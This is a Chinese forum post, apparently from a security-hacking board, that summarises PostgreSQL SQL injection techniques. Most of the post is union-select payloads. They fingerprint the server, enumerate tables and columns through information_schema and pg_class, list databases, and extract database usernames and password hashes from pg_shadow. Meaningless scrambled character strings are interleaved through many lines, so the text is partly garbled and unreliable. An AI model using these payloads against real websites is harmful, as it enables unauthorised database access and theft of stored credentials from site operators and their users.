找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2134|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
3 q' o* v0 r8 R& c

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
  p0 s' }+ X/ b4 w4 W0 R连接符: %20 , + , /**/

内置函数:7 I, |  G6 Q9 ]/ L
current_database() //当前数据库名4 J# Q, r5 A- j$ p2 b1 C0 S
session_user //会话用户4 M  u: Y' F* l' L  ^; |
current_user //当前数据库用户
' _* r+ p& \; W; y* C$ Auser //当前用户
2 `  P* i/ Y1 E, j; zversion() //数据库版本

Union注射:4 c/ w8 {$ J, r* {9 p' T
order by n–
" F: C$ B+ y, y. w4 i) @0 tand 1=2 union select null,null,null–1 s- v0 f3 c, H7 e2 t: Q) k
and 1=2 union select ‘beach’,null,null–
: M, Y. L" }; I% l, l5 R  {and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
/ @( F; \. D/ ]2 |& d& e- Jgroup_concat(table_name)
+ z) G3 j- r  e' V2 p1 T8 d$ \( Jand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
; m' E6 ?7 B. x/ c6 R& ^7 R0 q# sand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
* X" @: M% ]; T(老版本)4 Y# j8 X: [. E
pg_class.oid对应pg_attribute.attrelid" S$ z1 M; ?9 e3 J0 j0 o
pg_class.relname表名6 s/ r& f1 Q$ N
pg_attribute.attname字段名

select relname from pg_class获取表名( @$ |" A7 {7 Q: P* T1 `; y" G3 G
select oid from pg_class where 条件 获取参数2 p$ z$ s* ~  L" i4 _
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:3 v. ?+ F; z) I
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表; {& H% b: f0 R$ c, i
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–! a. y% k9 |8 l7 m0 E8 m0 s
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
/ @9 D2 ]3 ^+ n$ E======================================================================
5 B( g2 ~6 Z# |; ]and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
( }% S" ]" ^- d+ [& n# Y/ _$ E7 fand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表